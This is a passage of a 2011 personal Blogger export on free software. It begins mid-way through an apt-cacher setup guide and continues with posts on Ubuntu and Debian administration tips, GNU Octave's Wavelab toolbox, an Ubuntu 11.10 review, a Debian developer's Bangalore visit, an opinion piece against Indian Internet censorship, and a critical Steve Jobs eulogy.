5. Setting up the Clients sources.list<br><br>Now it is time to set up the client hosts apt source list files: /etc/apt/sources.list. It make sense to use the repository cache on the server too, as that way, any updates made by the server will fill up the cache.<br><br>In each line , ie every instance of<br><br>deb http://archive.ubuntu.com/ubuntu/ main restricted<br><br>becomes<br><br>deb http://apt-cacher-server:3142/apt-cacher/archive.ubuntu.com/ubuntu/ main restricted<br><br><br><br>Cool, now, every host should be able to retrieve the .deb packages from our repository cache once has been ran on every host.<br><br>$sudo apt-get update<br><br>Then test report by going to http://repository-cache:3142/reports to verify that it's running. The report is generated once a day, but if you need it at a certain time, you can force it by running:<br><br>$sudo /usr/share/apt-cacher/apt-cacher-report.pl<br><br><br><br><br><br>6. Conclusion<br><br>apt-cacher is an easy and efficient package which will save you both time and bandwidth when using multiple machines with the same distribution like it could happen in a home network or in at a company.<br><br><br><br><!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
H2 { margin-bottom: 0.21cm }
H2.ctl { font-family: "Lohit Hindi" }
H3 { margin-bottom: 0.21cm }
H3.ctl { font-family: "Lohit Hindi" }
A:link { so-language: zxx }
CODE.cjk { font-family: "DejaVu Sans", monospace }
-->
</style>
</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-17095674802759767092011-12-15T21:25:00.001+05:302011-12-15T21:40:12.398+05:30The Internet Censorship debate<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">
<!--
@page { margin: 0.79in }
P { margin-bottom: 0.08in }
-->
</style>
<br />
<div style="margin-bottom: 0in;">
Freedom of expression takes a new
dimension altogether when placed in the context of the digital
channels like blogs, social networks or microblogs in the Internet.
While there is no absolutism associated with any freedom, the
applicability or the non applicability of restrictions and laws
between the real world and the digital space needs clear
understanding and a distinction based on this understanding.
</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
The stand of Free Software Movement, has always been to sustain and perpetuate the freedom of computer users and information
technology benefactors. When the Government of India today has
proposed severe but unsubstantiated endorsement of censorship,
leading to the curbing of fundamental rights of expression, we
would want to reiterate our stand to Free Software supporters by presenting the
the threat this move would pose to the essence of neutrality in the
Internet and democracy in the country.</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
Expressing oneself in the conventional
media like press, books, television and radio are entirely different,
than when an individual is expressing via digital vents on the
Internet. The accessibility to the media itself, and the broadcast
range of the channels in both the realms are fundamentally different.</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
In conventional media, not everyone has
a say, and the chances of rebutting to the opinions of the 'media
privileged' people expressing them is seriously restricted; In the
Internet it is quite the opposite. By design the Internet provides
equal footing to everyone to express their own views. Anyone can
express their views, or counter an expressed view without having to
depend on 'media partners' to attach a voice to their opinions.
Hence, it could be said that the Internet is self conditioned, and
does not require external regulators.</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
Secondly, the views presented in
newspapers, books and television, or any other form of conventional
media are in a sense 'imposed', wherein except from unsubscribing to
those services there is little of resentment one can demonstrate.
Moreover the conventional media vents have percolated deep into the
society in a country like India, where it is not the Internet but
newspapers and television which build opinions of people. In
contrast, the content put up on the Internet operates and caters to a
relatively small portion of the population. The sensibilities of the
information on the Internet makes sense to the communities of people
on that particular service or platform alone, and does not spill over
to the streets. It is the user who seeks content on the Interent and
nothing is imposed, in comparison with the conventional media.</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
Further the current stand of the
Government to curb and hone down the views expressed on the Internet
comes as a shock. Authorities headed by Mr Kapil Sibal, whose lack of comprehension of the problem at hand
is being debated heavily on all platforms, well beyond the online
platforms. </div>
<div style="margin-bottom: 0in;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-u1FSdhhEfIg/TuoYZIFM6WI/AAAAAAAACCo/8U5j9poXSA8/s1600/kapil_sibal.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="312" src="http://2.bp.blogspot.com/-u1FSdhhEfIg/TuoYZIFM6WI/AAAAAAAACCo/8U5j9poXSA8/s400/kapil_sibal.jpg" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">http://www.labnol.org/india/censorship-in-india/20527/</td></tr>
</tbody></table>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
It seems he has suddenly gotten aware of the censorship trick. Mr.
Sibal and the rest of the Government have been projecting that
“religious blasphemy” is what they are trying to counter in the
Internet – which is far from the whole truth.
</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
There has been a lot of active
propaganda on the net about the plethora of scams that the current
UPA Government has been involved in. The facts being circulated might
not be audited, and very just but the essence these streams online
have been carrying have certainly put the Government at guard and now
are using a masquerade of “religious blasphemy” to curb the
freedom of expression in the Internet.
</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
The extreme interest Mr. Sibal has been
taking in this regard comes as a bigger surprise, for, the issues
pertaining to the infrastructural problems of e-Governance in India,
the security issues related to the Aadhaar Unique Identification
project and the secretive NATGRID are not being given the same
importance. These issues about Internet and technology which have
been growing steadily for sometime now have to be addressed firstly,
which neither Mr. Sibal nor his instigators have bothered about.
</div>
<div style="margin-bottom: 0in;">
<br /></div>
<div style="margin-bottom: 0in;">
The enthusiastic involvement which Mr.
Sibal, representing the Government of India has demonstrated, to curb
the freedom of expression in the digital sphere manifests the
unreasonable apprehensions of our current governors. If implemented,
this censorship would beyond curbing the freedom of expression,
cripple the democracy, or the little of it which remains.</div>
<br />
Free Software Movement with this clear understanding,
urges Internet users and activists to take up online campaigns, propagate the
nuances of the issue at hand and stand up for the freedom in the
Internet. </div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-52023812680861873712011-12-01T05:44:00.001+05:302011-12-01T05:58:06.223+05:30Running 32 bit compiled binaries on 64 bit machines<div dir="ltr" style="text-align: left;" trbidi="on">
Although the officially supported packages for GNU/Linux platforms from major corporations like Texas instruments might not wholly adhere to the Free Software guidelines, when the user is in desparate need to run an application from such corporations, the most optimal solution would be to get the binaries running on GNU/Linux rather than out of compulsion to use Windoze.<br />
<a href="http://draft.blogger.com/goog_935320481"><br /></a><br />
<a href="http://processors.wiki.ti.com/index.php/Download_CCS"> Code Composer by Texas Instruments</a> is one such handy environment for all Electronics engineers. Although the tool itself is a propreitary one, TI does give a GNU/Linux version of it. It comprises of the binaries and dependencies for easy porting onto different flavours. <br />
<br />
And because this is a precompiled package, and mostly compiled for the scenario of 32 bit architecture running a 32 bit kernel, if the necessary dependencies are not installed the binaries wouldn't run on 64 bit machines running 64 bit kernel.<br />
<br />
"ia32libs" is the package which contains runtime libraries for the ia32/i386
architecture, configured for use on an amd64 or ia64 Debian system running
a 64-bit kernel.Without these libraries, the above mentioned binaries will not get installed on the system.<br />
<br />
Default installation,<br />
<span style="font-family: "Courier New",Courier,monospace;">fossphosis@raghu # apt-get install ia32-libs</span><br />
<br />
That's all!<br />
Now, your machine will be able to run the binaries compiled for 32 bit scenarios as well! <br />
<br /></div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-75449696801323381242011-11-07T18:39:00.003+05:302011-11-07T18:59:15.568+05:30Rendezvous with a Debian Developer<div dir="ltr" style="text-align: left;" trbidi="on">
Just about an hour ago is when I dropped of <a href="http://dr.jones.dk/">Jonas Smedegaard</a> on his way to the Bangalore International airport after his week's stay here.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-S5sUvcwilrw/TrfZOuj5mmI/AAAAAAAACCA/e0aBS94jFOs/s1600/glug.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="440" src="http://3.bp.blogspot.com/-S5sUvcwilrw/TrfZOuj5mmI/AAAAAAAACCA/e0aBS94jFOs/s640/glug.jpg" width="600" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">courtesy vigneshwar shankar</td></tr>
</tbody></table>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Although I haven't been writing about any person in specific even in my personal blog, in this post I only intend to reflect upon the paradigms of Jonas in comparison to my own. I won't repeat all the technicalities discussed through the week, but will try to project my perception of this hacker, who is more than a mere geek.<br />
<br />
Now, why Jonas, and not compare myself to someone I've already known?<br />
I believe our perceptions, and hence our deep principles heavily depend on the circumstances we are faced with, and it cannot be universal - will be relative.<br />
Me and Jonas, as I did very well realize are from different societies, and hence have different mental worlds.<br />
<br />
In Jonas' own terms, he comes from a different world and many a times we from this world (as many of us kept proving it through the week) here get duped into just looking at the surface, and not the details of them.<br />
"Surface is narcotics", as he said, is so apt.<br />
<br />
I have had a different perception of westernization. I would never be a hypocrite, or a dumb emulator of people from different societies. I must have exhibited some tendencies towards some "unreasonable" emulation, and this week long interaction with Jonas has help me sort out my prerogative in my realms. <br />
<br />
Another important aspect which got me all inspired was, the way he correlates his work, its impact to the grand scenario. I think I fail to recognize (at least for now), the ramifications of my own small contributions to the big picture. Being inert about an issue is equivalent to encouraging it, is another point he reiterated many a times.<br />
<br />
Leaders need to inspire, and make space for the team to grow and express themselves : A nice notion about leadership I heard Jonas say, and I, like him too have been trying to get closer to this ideal. <br />
<br />
<br />
All said and done, respecting differences between people and each taking the better of the paths for oneself is what is the ultimate path to harmony and cooperation, both in dissimilar communities of similar individuals, and similar communities of dissimilar individuals.<br />
<br />
PS: If you missed the technicalities, here are some reports of the events in Bangalore<br />
<a href="http://www.thehindu.com/news/states/karnataka/article2601600.ece">http://www.thehindu.com/news/states/karnataka/article2601600.ece</a><br />
<a href="http://fossphosis.blogspot.com/2011/11/jonas-smedegaard-in-bangalore.html">http://fossphosis.blogspot.com/2011/11/jonas-smedegaard-in-bangalore.html</a><br />
<a href="https://alieniscogitationibus.wordpress.com/2011/11/06/debian-pureblends-and-the-freedom-box/">https://alieniscogitationibus.wordpress.com/2011/11/06/debian-pureblends-and-the-freedom-box/</a><br />
<a href="http://sreejithsblog.blogspot.com/2011/11/freedom-debian-pure-blends-and-jonaas.html">http://sreejithsblog.blogspot.com/2011/11/freedom-debian-pure-blends-and-jonaas.html</a><br />
<br /></div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-56340332157813607472011-11-04T22:32:00.001+05:302011-11-04T22:37:42.400+05:30Jonas Smedegaard in Bangalore<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="http://wiki.debian.org/JonasSmedegaard">Jonas Smedegaard</a> : Debian developer is in Bengaluru and <a href="http://fsmk.org/">FSMK</a> has been actively trying to get Jonas meet, interact and discuss with Free Software enthusiasts from the whole spectrum. Debian Pure Blends and FreedomBox are primarily on the agenda of Jonas' visit to India. So, most of the sessions would revolve around these.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-z8YB5VnLlws/TrQarFDJ78I/AAAAAAAACBw/11jI22ZL-4o/s1600/jonas.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="http://2.bp.blogspot.com/-z8YB5VnLlws/TrQarFDJ78I/AAAAAAAACBw/11jI22ZL-4o/s320/jonas.jpg" width="320" /></a></div>
<br />
The <a href="http://wiki.jones.dk/DebianAsia2011#Bangalore.2C_India">schedule for Jonas' visit</a>, which I had worked out in consultation with Jonas has kept him occupied for most of the days ( and many a times making it hectic for him!).<br />
Now that we are losing track of all that's happening, I thought it to be good if I could jot it down here. Will keep updating it further<br />
<br />
<ul style="text-align: left;">
<li>1st Nov: Jonas arrives, and although I was to escort him when he arrived, the train reaches early and I reach late - we then stumble upon each other serendipitously! Nice start :) </li>
</ul>
<br />
<div>
<ul style="text-align: left;">
<li>2nd Nov: No concrete schedule for the day, but casual interactions with some of our FSMK activists and enthusiasts</li>
</ul>
<br />
<ul style="text-align: left;">
<li>3rd Nov: First of the formal talks at PES School of Engineering. Will gather more info about the talk itself from some of the audience and update it later. </li>
</ul>
The talk was followed by a hurried, adhoc meeting with Secretary, Education Department, Government of Karnataka which was one of those unfruitful meetings. Nonetheless, an insight into the problem at hand of implementing Free Software in education did make itself clearer</div>
<div>
<br />
<div>
Towards the evening a dinner with Prof.Chatterjee from Indian Institute of Astrophysics, which turned out to be a vibrant discussion ranging from nuclear power to wars, to free software and astrophysics! We ended it with a eulogistic reminiscence of Neils Bohr! </div>
<div>
<br /></div>
<div>
<ul style="text-align: left;">
<li>4th Nov: Free Software talk at Bangalore University in the morning. The talk has created extra interest amongst the audience, and we will look forward to creating an active GLUG there. </li>
</ul>
Afternoon, a talk on FreedomBox and Debian Pureblends was organized at the Indian Institute of Science. Session details will be updated. </div>
<div>
Post talk, Jonas gave an interview to <a href="http://thehindu.com/">The Hindu</a>. </div>
<div>
<br /></div>
<div>
The day being so demanding, and all the sessions being monotonous, just to digress from the flow, it was arranged for Jonas to watch a carnatic classical music concert live. Will collect his views and update here! </div>
<div>
<br /></div>
<div>
<ul style="text-align: left;">
<li>5th Nov: Another talk on Freedombox/Pureblends in BMS Institute of Technology scheduled in the morning. It will be followed by a casual GLUG members discussion on Debian, contribution etc...</li>
<li>6th Nov: Debian Pureblends Packaging session at FSMK office, and the first hands on workshop in this stint! Looking forward to it. <br />We're also working out a quick visit to the Ambedkar Community Computing Center.<br />
<div>
<br /></div>
</li>
<li>7th Nov: Jonas is leaving to Vietnam </li>
</ul>
</div>
<div>
This is for now! Will see if anymore appendages occur for the remaining time!</div>
</div>
</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com5tag:blogger.com,1999:blog-3494039864884400347.post-86845189797152830252011-10-23T14:44:00.001+05:302011-10-23T14:45:51.005+05:30Adding custom menu entries in Debian/Ubuntu<div dir="ltr" style="text-align: left;" trbidi="on">
Some of the applications which we install from third party sources are not indexed in the Applications tab in the GNOME shell.<br />
<br />
The problem in such a case is the high chances of forgetting what the application name is! And this happens so often with me, that I am forced to create these entries in the Applications menu.<br />
<br />
Here's a simple procedure to do this. Although there's System->Preferences->Main Menu to do this, this one is better for some obvious reasons (you can give your custom icons) <br />
<br />
<ul style="text-align: left;">
<li>The Applications Menu entries reside in the directory /usr/share/applications , and to create a new entry create a .desktop file in this directory</li>
</ul>
<div style="font-family: "Courier New",Courier,monospace;">
cd /usr/share/applications</div>
<div style="font-family: "Courier New",Courier,monospace;">
sudo nano myapp.desktop</div>
<br />
<ul style="text-align: left;">
<li>The .desktop files have just the information needed to put up an entry in the Applications tab, and to run your app; Here is the sample content of the Qtoctave entry from the file qtoctave.desktop</li>
</ul>
<div style="font-family: "Courier New",Courier,monospace;">
[Desktop Entry]</div>
<div style="font-family: "Courier New",Courier,monospace;">
Version=1.0</div>
<div style="font-family: "Courier New",Courier,monospace;">
Name=QtOctave</div>
<div style="font-family: "Courier New",Courier,monospace;">
Comment=Graphical Qt frontend for GNU Octave</div>
<div style="font-family: "Courier New",Courier,monospace;">
TryExec=qtoctave</div>
<div style="font-family: "Courier New",Courier,monospace;">
Exec=qtoctave</div>
<div style="font-family: "Courier New",Courier,monospace;">
Icon=qtoctave</div>
<div style="font-family: "Courier New",Courier,monospace;">
Type=Application</div>
<div style="font-family: "Courier New",Courier,monospace;">
Categories=Development;Math;Science;Education;Electronics</div>
<ul style="text-align: left;">
<li>Make these entries into the myapp.desktop file with relevant modifications like your executable file name in the exec field.</li>
<li>After modification of the .desktop file, save and close it. Now, the entry should appear in the categories which you mention.</li>
<li> To add your application an icon, crop a 32x32 png image and add it into the default icons directory /usr/share/app-install/icons/, </li>
</ul>
<div style="font-family: "Courier New",Courier,monospace;">
sudo cp myicon.png /usr/share/app-install/icons/ </div>
<br />
In the Icon field of the .desktop file, provide the file name if the icon resides in the aforementioned default directory, or give the full path of the icon <br />
<br />
And there you go, your own custom application entry with a custom icon!</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com5tag:blogger.com,1999:blog-3494039864884400347.post-22883714076957512011-10-14T17:58:00.000+05:302011-10-14T18:13:57.194+05:30Over to Oneiric Ocelot<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
Ubuntu 11.10 aka Oneiric Ocelot made a silent appearance yesterday in the Operating system arena. Although it has come silently, it does make quite a bit of noise with whatever it has brought along.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-wT0vhhhyjF8/TpgknaX79tI/AAAAAAAAB_k/67cd3KctYmo/s1600/Screenshot+at+2011-10-14+17%253A31%253A01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="185" src="http://4.bp.blogspot.com/-wT0vhhhyjF8/TpgknaX79tI/AAAAAAAAB_k/67cd3KctYmo/s320/Screenshot+at+2011-10-14+17%253A31%253A01.png" width="320" /></a></div>
<br />
After Natty Narhwal and the controversial Unity, Oneiric Ocelot comes somewhat as a pacifier, with improvements on Unity (yes, Unity is here to stay) and official support to Gnome3.<br />
<br />
<br />
Here are some salient features of Oneiric.<br />
<ul style="text-align: left;">
<li>Linux kernel 3.0! </li>
</ul>
Of all the reviews I had read, no one seemed to have noticed that Ubuntu 11.10 ships with the Linux 3 series kernel. That is certainly worth a mention. Although the Linux3.0 by itself has had no major changes except for the notation and rumors about power regression. Will keep an eye on the battery on my machine.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-y_FVTptvBdA/Tpgm7x_mjtI/AAAAAAAAB_s/mOVfxr6Y98c/s1600/Screenshot+at+2011-10-14+17%253A33%253A06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="60" src="http://4.bp.blogspot.com/-y_FVTptvBdA/Tpgm7x_mjtI/AAAAAAAAB_s/mOVfxr6Y98c/s400/Screenshot+at+2011-10-14+17%253A33%253A06.png" width="400" /></a></div>
<br />
<ul style="text-align: left;">
<li> Unity revamped</li>
</ul>
As all other reviews have been posting, Unity does get a revamp and seems more stable. It responds quickly, no lag whatsoever. And the aesthetics are more pleasing than in Natty. When I am going to get Oneiric as my production OS, I will certainly want to have picked up all the keyboard shortcuts for Unity.<br />
super+s, super+a, super+f and super+m are for now really handy to view the workspaces, browse applications, files and music respectively. <br />
<br />
Another important aspect about the feel of Unity is the dash itself. The new dash is gorgeous which acquires a tinge correlating the backdrop of the other windows/the desktop itself. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-rzQDCdUrwSQ/TpgnFgkm3iI/AAAAAAAAB_0/gi3QQNUVJ7g/s1600/Screenshot+at+2011-10-14+17%253A23%253A43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="http://1.bp.blogspot.com/-rzQDCdUrwSQ/TpgnFgkm3iI/AAAAAAAAB_0/gi3QQNUVJ7g/s640/Screenshot+at+2011-10-14+17%253A23%253A43.png" width="580" /></a></div>
<br />
<ul style="text-align: left;">
<li>Login screen is sleeker</li>
</ul>
Another small but pleasing change is on the Login screen itself. It looks simple, yet futuristic. There is also something about the new asterisk while typing the password which grabs one's attention :-)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Q3NCk_DYKoU/TpgoKxgmYNI/AAAAAAAAB_8/eT-9DCamzDI/s1600/lightdm-500x245.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="http://2.bp.blogspot.com/-Q3NCk_DYKoU/TpgoKxgmYNI/AAAAAAAAB_8/eT-9DCamzDI/s400/lightdm-500x245.jpg" width="400" /></a></div>
<br />
<ul style="text-align: left;">
<li>No Me menu</li>
</ul>
</div>
The elaborate Me menu has been removed and a less elaborate dock with access to most performance options like Power, hardware, etc.. has been added. Unclear of the intent of this change though.<br />
<div>
<ul style="text-align: left;">
<li>Evolution gives way to Thunderbird</li>
</ul>
Evolution the long associate as the default mail client has been replaced with Mozilla Thunderbird. Having used only Evolution and not Thunderbird I'm not in a position to comment on it. From Mozilla must be good. </div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-JMjSV5oktww/TpgpGcACV1I/AAAAAAAACAE/C2F9eC7VdD8/s1600/Screenshot+at+2011-10-14+17%253A49%253A08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="http://3.bp.blogspot.com/-JMjSV5oktww/TpgpGcACV1I/AAAAAAAACAE/C2F9eC7VdD8/s640/Screenshot+at+2011-10-14+17%253A49%253A08.png" width="580" /></a></div>
<div>
<br />
<ul style="text-align: left;">
<li>Software Centre is bigger, better</li>
</ul>
I haven't been a big fan of Software Center. Nonetheless, it has a more professional look and will be of certain use to new users. First thing, I am getting Synaptic, just for sentimental reasons ;-) </div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-CXmZml1TaWI/TpgpeZaLAaI/AAAAAAAACAM/H9UpOzc6pAo/s1600/Screenshot+at+2011-10-14+17%253A27%253A35.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="http://2.bp.blogspot.com/-CXmZml1TaWI/TpgpeZaLAaI/AAAAAAAACAM/H9UpOzc6pAo/s640/Screenshot+at+2011-10-14+17%253A27%253A35.png" width="580" /></a></div>
<div>
<br />
<ul style="text-align: left;">
<li>Missing applications</li>
</ul>
After removing GIMP from the default install in Maverick, there's no Synaptic Package Manager and Pitivi video editor. Nonetheless, still very much supported by Ubuntu. <br />
<ul style="text-align: left;">
<li> Miscellaneous: Default font all across is the Ubuntu font. Looks a little weird on the terminal though. The default set of wallpapers are amazing, except for the Oneiric one. </li>
</ul>
<ul style="text-align: left;">
<li>Installation took about 7 minutes and that is still the best in Industry!</li>
</ul>
<ul style="text-align: left;">
<li>Multitouch support still there; One point touch is left click, Two point touch is right click and the accelerometer simulation kind of an effect with the track pad are still thriving.</li>
</ul>
<ul style="text-align: left;">
<li>Booting takes about 10-12 seconds on a fresh install; Will see if it slows down as Natty did when I had loaded with hundreds of startup applications. </li>
</ul>
<br />
Of all the current OS'es, Oneiric, if not for everything, just for its aesthetics takes a far leap ahead!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-jIFy0D8V_UM/TpgsTQVDaeI/AAAAAAAACAU/aIziCAi9Ffw/s1600/Screenshot+at+2011-10-14+17%253A25%253A39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="http://4.bp.blogspot.com/-jIFy0D8V_UM/TpgsTQVDaeI/AAAAAAAACAU/aIziCAi9Ffw/s640/Screenshot+at+2011-10-14+17%253A25%253A39.png" width="580" /></a></div>
<br />
<ul style="text-align: left;">
</ul>
</div>
</div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-91036909813779468482011-10-09T20:45:00.000+05:302011-10-10T13:52:53.980+05:30Wavelab with GNU Octave<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://draft.blogger.com/goog_347778090" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<a href="http://www.gnu.org/software/octave/">GNU Octave</a> is the Free Software used for mathematical computation. With an extensive support for versatile library functions, and code compatibility with Matlab, GNU Octave is a sweet treat to every engineer and researcher.<br />
<br />
Apart from the officially supported libraries and application toolboxes, GNU Octave also has abundant support and addons from extraneous efforts.<br />
<br />
The Signal processing toolboxes, are exhaustive enough and consist of speech processing, image processing and video processing functionalities, which provide a common, stable and evolving platform for any of these domain specific applications. <br />
<br />
<br />
Taking signal processing to the next level, when one is looking for some advanced signal processing functions, rendezvous with Wavelet Transforms is assured. <br />
<br />
<br />
While GNU Octave does not officially, as yet , support a Wavelet Transform toolbox, the <a href="http://www-stat.stanford.edu/%7Ewavelab/">Wavelab toolbox from the Stanford University</a> project works like a charm. With this extensive background to the toolbox itself, I present the procedure for incorporating this Wavelab toolbox with GNU Octave. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-DDqFaL72rZc/TpG3R7orv3I/AAAAAAAAB_A/fraVi_iorQY/s1600/Screenshot-9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-DDqFaL72rZc/TpG3R7orv3I/AAAAAAAAB_A/fraVi_iorQY/s1600/Screenshot-9.png" style="margin-left: 1em; margin-right: 1em;"></a></div>
<ul style="text-align: left;">
<li>Download the Wavelab toolbox <a href="http://www-stat.stanford.edu/%7Ewavelab/Wavelab_850/WAVELAB850.ZIP">http://www-stat.stanford.edu/~wavelab/Wavelab_850/WAVELAB850.ZIP</a></li>
</ul>
<ul style="text-align: left;">
<li>Unzip the archive; A folder Wavelab850 will be created with the contents of the toolbox</li>
</ul>
<ul style="text-align: left;">
<li>Create a directory /usr/toolbox to dump the Wavelab toolbox</li>
</ul>
<span style="font-family: "Courier New",Courier,monospace;">sudo mkdir /usr/toolbox </span></div>
<div>
<ul style="text-align: left;">
<li>Copy the unzipped contents to the location /usr/toolbox </li>
</ul>
<span style="font-family: "Courier New",Courier,monospace;">sudo cp -r Wavelab850 /usr/toolbox</span><br />
<ul style="text-align: left;">
<li>To link the Wavelab library to GNU Octave, open the GNU Octave interpreter in the GNU/Linux terminal, and add the path of the previously added Wavelab850 directory, so that GNU Octave can fetch the Wavelab library files when the function call is made </li>
</ul>
<span style="font-family: "Courier New",Courier,monospace;">octave:2> addpath /usr/toolbox/Wavelab850</span><br />
<ul style="text-align: left;">
<li>Now, invoke the functions from Wavelab by running the Wavelab file WavePath.m in the octave terminal, by just typing WavePath in the interpreter.</li>
</ul>
<span style="font-family: "Courier New",Courier,monospace;">octave:2> WavePath</span> <br />
<ul style="text-align: left;">
<li>If the WaveLab has been invoked a welcome message as shown below would appear </li>
</ul>
<a href="http://1.bp.blogspot.com/-DDqFaL72rZc/TpG3R7orv3I/AAAAAAAAB_A/fraVi_iorQY/s1600/Screenshot-9.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="500" src="http://1.bp.blogspot.com/-DDqFaL72rZc/TpG3R7orv3I/AAAAAAAAB_A/fraVi_iorQY/s640/Screenshot-9.png" width="560" /></a><br />
<ul style="text-align: left;">
<li>Now all the amazing Wavelab functions are available in GNU Octave! </li>
</ul>
<ul>
<li>To take a stroll into WaveLab, type WTBrowser. "Chapter 2 Fourier Kingdom" is something every science enthusiast must look into and understand! </li>
</ul>
<a href="http://3.bp.blogspot.com/-Pf0et-izjKs/TpG4MQfO3hI/AAAAAAAAB_E/mLkwnQ-_LzQ/s1600/Screenshot-10.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="500" src="http://3.bp.blogspot.com/-Pf0et-izjKs/TpG4MQfO3hI/AAAAAAAAB_E/mLkwnQ-_LzQ/s640/Screenshot-10.png" width="580" /></a> <br />
<ul>
<li>Further one particluar example code I was deeply impressed with is the 2-D analysis of synthetic objects ( like images). Type in toon0231 in the interpreter to have some pleasing revelations of Wavelet Transforms </li>
</ul>
<span style="font-family: "Courier New",Courier,monospace;">octave:2> toon0231</span></div>
<div>
<a href="http://1.bp.blogspot.com/-uHdFsLIF7Yw/TpG4fr__i4I/AAAAAAAAB_I/BB2RLkfn2FI/s1600/Screenshot-11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="http://1.bp.blogspot.com/-uHdFsLIF7Yw/TpG4fr__i4I/AAAAAAAAB_I/BB2RLkfn2FI/s640/Screenshot-11.png" width="580" /></a></div>
<i><b> Happy Hacking, Happy Learning !</b></i><br />
PS: In subsequent posts I will try to regress and give some more fundamental features of GNU Octave. </div>Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com3tag:blogger.com,1999:blog-3494039864884400347.post-43192995637121819012011-10-08T20:04:00.000+05:302011-10-13T14:36:14.353+05:30i-freesoftware: My eulogy to Steve Jobs<div dir="ltr" style="text-align: left;" trbidi="on">
Well, it might sound abusive to add the i-tag to Free Software, I suppose.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
After the demise of Steve Jobs, and the initial outpour of adulation of Steve Jobs and few trickles of criticism, I am late in getting this post up.<br />
<br />
<br />
Steve Jobs' demise, personally to me has been the loss of an individual who showed people how to fight the odds. Like the many of you, even I too was deeply moved and inspired by his <a href="http://www.google.com/url?sa=D&q=http://www.youtube.com/watch%3Fv%3DUF8uR6Z6KLc&usg=AFQjCNEfs-v5OenYk8Ak8yClmWIHaryCHg">Stanford Speech</a>. There is no denying that he was a man to look up to, and learn from at various levels. <br />
<br />
But, when it comes to the perception of the entreprenuer Steve Jobs, there lies a deep disdain for some really important reasons I shall try to putforth in this post.<br />
<br />
Steve Jobs: The Entreprenuer is not someone I would really be missing (I wrote this before <a href="http://www.stallman.org/archives/2011-jul-oct.html#06_October_2011_%28Steve_Jobs%29">RMS</a> could say something on these lines); Given the fact that I am at awe with the aesthetics embedded in sleek pieces of Apple hardware, the point of contention is Steve Jobs being the grandest mascot of "Closed, Proprietary Technology" and in this process Jobs has driven his customers into the most dreadful of the proprietary shackles. <br />
<br />
